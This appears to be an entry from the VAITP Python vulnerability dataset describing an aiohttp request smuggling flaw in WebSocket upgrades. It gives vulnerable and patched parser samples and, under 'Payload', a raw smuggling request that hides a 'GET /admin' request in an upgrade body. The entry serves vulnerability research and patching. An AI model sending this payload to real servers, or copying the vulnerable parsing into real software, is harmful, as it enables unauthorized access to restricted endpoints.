VAITP Dataset

← Back to the dataset

CVE-2026-69243

AIOHTTP server vulnerable to request smuggling via WebSocket upgrades.

  • CVSS 6.3
  • 444
  • Input Validation and Sanitization
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.2, the HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades. If using the server-side component, an attacker may be able to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. A WebSocket upgrade request with a body could cause the parser to switch protocols before the complete request body was received, leaving trailing bytes to be handled as upgraded-protocol or pipelined data rather than normal HTTP body data. This issue is fixed in version 3.14.2.

CWE
444
CVSS base score
6.3
Published
2026-08-03
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Timing Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.14.2 or later.

Vulnerable code sample

from typing import Any, List, Optional, Tuple

from aiohttp.http_exceptions import HttpBadRequest, HttpUpgrade


# A mock message object to represent an HTTP request.
class _MockMessage:
    content_length: Optional[int] = 128


# Simplified representation of aiohttp's HttpRequestParser
class HttpRequestParser:
    def __init__(self) -> None:
        # A request message is built during parsing.
        # We simulate a message with a body for a WebSocket upgrade request.
        self._message: Optional[_MockMessage] = _MockMessage()

    def feed_data(self, data: bytes) -> Tuple[List[Any], bool, bytes]:
        try:
            # This simulates a low-level parser raising HttpUpgrade
            # when a WebSocket handshake is detected.
            raise HttpUpgrade(payload=data)
        except HttpUpgrade as exc:
            # VULNERABLE: The protocol is upgraded before the request body is consumed,
            # allowing trailing body bytes to be smuggled.
            return [self._message], True, exc.payload

        return [], False, b""

Patched code sample

from typing import Any, List, Optional, Tuple

from aiohttp.http_exceptions import HttpBadRequest, HttpUpgrade


# A mock message object to represent an HTTP request.
class _MockMessage:
    content_length: Optional[int] = 128


# Simplified representation of aiohttp's HttpRequestParser
class HttpRequestParser:
    def __init__(self) -> None:
        # A request message is built during parsing.
        # We simulate a message with a body for a WebSocket upgrade request.
        self._message: Optional[_MockMessage] = _MockMessage()

    def feed_data(self, data: bytes) -> Tuple[List[Any], bool, bytes]:
        try:
            # This simulates a low-level parser raising HttpUpgrade
            # when a WebSocket handshake is detected.
            raise HttpUpgrade(payload=data)
        except HttpUpgrade as exc:
            # FIX: Reject WebSocket upgrade requests that contain a body.
            if (
                self._message is not None
                and self._message.content_length is not None
                and self._message.content_length > 0
            ):
                raise HttpBadRequest("WebSocket upgrade request with body") from exc

            return [self._message], True, exc.payload

        return [], False, b""

Payload

GET /ws-endpoint HTTP/1.1
Host: vulnerable-server.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Content-Length: 52

GET /admin HTTP/1.1
Host: vulnerable-server.com

Cite this entry

@misc{vaitp:cve202669243,
  title        = {{AIOHTTP server vulnerable to request smuggling via WebSocket upgrades.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-69243},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-69243/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::